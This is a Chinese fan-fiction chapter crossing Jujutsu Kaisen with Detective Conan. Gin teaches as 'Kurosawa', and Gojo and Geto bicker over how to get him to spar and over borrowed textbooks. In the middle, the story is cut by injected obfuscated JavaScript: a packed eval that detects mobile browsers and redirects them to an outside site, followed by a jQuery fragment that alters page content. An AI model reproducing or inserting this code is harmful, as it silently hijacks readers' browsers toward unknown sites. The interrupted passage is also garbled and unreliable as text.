做完这一切,家入硝子打了个哈欠。
“我回去睡觉了。”她转身就往宿舍方向走,挥了挥手,头也不回地离开了。
“黑泽君?”
绿川光的声音将他拉回现实。琴酒转过头,看到绿川光正站在自己身侧半步之后
绿川光压低声音,用只有两人能听到的音量说,“您刚才……真的很厉害。”
“但我很担心您,所以没有离开。”绿川光顿了顿,补充道,“教案我一会回去就写,不会耽误下午的课。”
琴酒看了他一眼,有点震惊。
如果这是演的,那真是太厉害了,或者说他本性可能就是一个很关心别人的人?
黑暗世界里也不是没有这种,虽然杀人放火,但是好人的性格。
“用不着了。教案我自己写。你……”
琴酒顿了顿,决定把对方往自己人的范围里拉一拉。
“去休息吧。下午的课,你可以在办公室整理资料。”
绿川光的心轻轻动了一下。他低下头,掩饰住嘴角不自觉扬起的一丝弧度。
“那就辛苦了,黑泽君。”
而此刻,不远处的五条悟和夏油杰正在“友好交流”。
“杰——!你真的要和老师打架吗?可是老师刚才说‘下次’,那‘下次’是什么时候?万一他反悔怎么办?”
五条悟原本想要蹬鼻子上脸的直接叫阵的,但是老师都没有主动叫他悟,他绝对不先妥协,这是最强的排面。
夏油杰脸上挂着那副温和的笑容,但眼神里透着思索。
“老师应该不会反悔。但‘下次’确实可能拖很久。毕竟我们是学生,他是老师,总有理由推脱。”
“那怎么办?”五条悟凑近了些,墨镜后的眼睛闪着光,“总不能像我一样直接挑衅吧?虽然效果不错,但老师现在肯定有防备了。”
夏油杰点了点头:“确实。而且……”
他顿了顿,看向琴酒的方向。那个银发男人正在和绿川光低声说话,温柔的要化开了一样。
“老师看起来脾气很好。”夏油杰说,“但刚才拒绝我的时候,虽然很客气,但态度很坚决。用常规方法,可能很难让他同意。”
五条悟的眼睛转了转。
“杰。”五条悟压低声音,凑到夏油杰耳边,“我有个主意。”
夏油杰挑眉:“什么?”
“黑泽老师说不定……”五条悟的声音压得更低了,带着蛊惑般的意味,“会很喜欢女装哦。”
夏油杰:“……”
他脸上的笑容僵住了。
“你说……什么?”
“女装!”五条悟理直气壮地重复,“老师穿女装超级好看,说不定他其实很喜欢那个样子哦,只是碍于羞耻心被迫压抑自己!”
夏油杰沉默了一会,悟,不要说的像是你真的见过一样啊,这未免也太造谣了。
夏油杰缓缓开口,语气里带着难以置信:“悟,你是认真的吗?”
“当然!”五条悟兴致勃勃,“你送他一条黑色的礼服裙子,长款的那种,低领口,一边露大腿,再配一双高跟鞋,说不定他一高兴,就愿意和你打架了!”
夏油杰深吸一口气,试图维持笑容,但嘴角已经开始抽搐。
“悟,”他一字一顿地说,“这已经不是‘请求’或者‘交易’了。这是挑衅吧?”
而且是非常恶劣、非常离谱、非常可能让黑泽老师直接把他们俩扔出教室的挑衅。
五条悟眨了眨眼睛,露出一副“你怎么能这么想我”的受伤表情。
“杰!你太伤我的心了!”五条悟捂住胸口,语气夸张,“老子明明是真心实意地在帮你出主意!你居然不相信我,黑泽老师喜欢女装怎么了?他女装多好看啊!而且——”
他顿了顿,眼睛更亮了。
“如果你觉得裙子不够,我还可以帮忙搭配闪闪亮的钻石项链呢!要那种带着闪闪的绿钻石的那种,如果钱不够老子可以借给你!”
夏油杰终于维持不住笑容了。
他抬起手,握拳,然后毫不犹豫地砸在了五条悟的脑袋上。
“咚!”
一个新鲜的、冒着热气的包,从五条悟白色的头发上鼓了起来。
“好痛——!”五条悟捂住头,瞪大眼睛看着夏油杰,“杰你干什么!”
“帮你清醒一下。”夏油杰收回手,脸上重新挂起了温和的笑容,但眼睛里没有丝毫笑意,“而且,如果你不相信我的判断,非要自己去实践这个‘主意’的话——”
“我不介意现在就把你打晕,然后拖回宿舍。”
五条悟:“……好过分!”
但他显然没把夏油杰的威胁当真,只是揉着脑袋上的包,撇了撇嘴。
“那你说怎么办嘛!”五条悟嘟囔,“又想和老师打架,又不想用常规方法,那你倒是想个更好的主意啊!”
夏油杰叹了口气。
他其实也没想好。但至少,他知道五条悟那个“女装”提议绝对不行。
“先回去收拾书本吧。”夏油杰转移话题,指了指教学楼方向,“下午是黑泽老师的数学课,你总得带课本和笔记本吧?”
他顿了顿,补充道:“我记得你开学发的数学书,好像第二天就不知道丢到哪里去了?”
五条悟的表情僵住了。
“呃……”
“还有笔记本。”夏油杰继续微笑,“你从来不用,对吧?”
五条悟:“……杰,你怎么这么啰嗦!”
“因为我是优等生。”夏油杰理所当然地说,“而且,如果连课本都没有,你打算怎么‘老老实实上课’?黑泽老师刚才可是说了,作业要按时交。没有课本,你怎么写作业?”
“老师说不定会因为我上课特别认真,而你连课本都没有,因此在也不愿意和你说话呢。”
五条悟沉默了。
几秒后,他忽然眼睛一亮。
“那杰你借我课本不就好了!”五条悟笑嘻嘻地勾住夏油杰的肩膀,“反正你的课本肯定保管得很好,笔记也记得超全~借我复印一份嘛!”
夏油杰:“……我拒绝。”
“诶——为什么!”
“因为那是我的课本。”夏油杰语气平静,“而且,我不觉得借给你之后,它能完好无损地回来。”
五条悟鼓起脸:“小气!”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16984297|193604||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
夏油杰不为所动。
五条悟盯着他看了几秒,然后忽然换上一副可怜兮兮的表情。
“那……如果你借我课本,再给我买草莓大福,”五条悟眨巴着眼睛,“我就原谅你刚才打我,还有不借我课本的事情。”
夏油杰:“……我为什么要你原谅?”
“因为我们是挚友!”五条悟理直气壮。
夏油杰输了。
可恶,那可是挚友啊!那可是挚友啊!简直过分了!
他看着五条悟那张写满“你不答应我就闹”的脸,最终无奈地叹了口气。
“……行吧。”夏油杰说,“草莓大福可以。但课本马上打印完还我。”
五条悟立刻笑开了花:“成交!”
他松开夏油杰,转身就往教学楼跑,边跑边喊:“那我先去教室占位置!顺便拿课本去复印,杰你快点来——记得我的草莓大福!,你记得给我买。”
夏油杰看着他蹦蹦跳跳离开的背影,摇了摇头,脸上却不由自主地露出一丝笑意。
然后,他转过身,看向琴酒和绿川光离开的方向。
两个人已经走远了,要不然听到悟当初的话,说不定老师会被气死呢。
绝对会吧。
女装……吗?
虽然悟的提议离谱至极,但……
夏油杰的脑海里,不由自主地浮现出黑泽老师穿上黑色礼服裙子的画面。银色的长发披散在肩头,灰绿色的眼眸透过无框眼镜,温和地看着自己,手里还拿着数学课本……
他猛地打了个寒颤。
自己怎么能这样想啊!太不尊重老师了!
而且,如果真那么做了,黑泽老师可能会直l砸他的头——就像他刚才砸悟那样。
夏油杰甩了甩头,把那个可怕的画面从脑海里驱逐出去。
还是用正常的方式吧。
夏油杰订了个大福外卖,准备一会下山去取。
下午两点,数学课的铃声准时响起。
琴酒站在讲台上,手里拿着粉笔,看着鱼贯而入的三个学生。
但让他微微挑眉的是,五条悟和夏油杰确实都来了。
不仅来了,还带着“课本”。
五条悟一进教室,就兴冲冲地举起手里那沓明显刚打印出来、还散发着油墨味的A4纸,在琴酒面前晃了晃。
“老师!看!”五条悟的声音在安静的教室里格外响亮,“老子有课本了!还做了笔记!”
他特意把“做了笔记”四个字咬得很重,像是在炫耀什么了不起的成就。
好像在等待对方夸自己一样。
琴酒的视线落在那沓纸上。
第一页是复印的数学课本封面,第二页开始,是密密麻麻的手写笔记,字迹工整清秀,重点用不同颜色的笔标注,例题旁边还有详细的解题步骤。
但这字迹……显然不是五条悟的。
五条悟的字迹更加放肆放纵一些,也没有那么整齐,就和他的人一样。
坐在旁边的夏油杰单手扶额,脸上温和的笑容已经快挂不住了。
“悟,”夏油杰压低声音,从牙缝里挤出话来,“你复印的是我的笔记本。”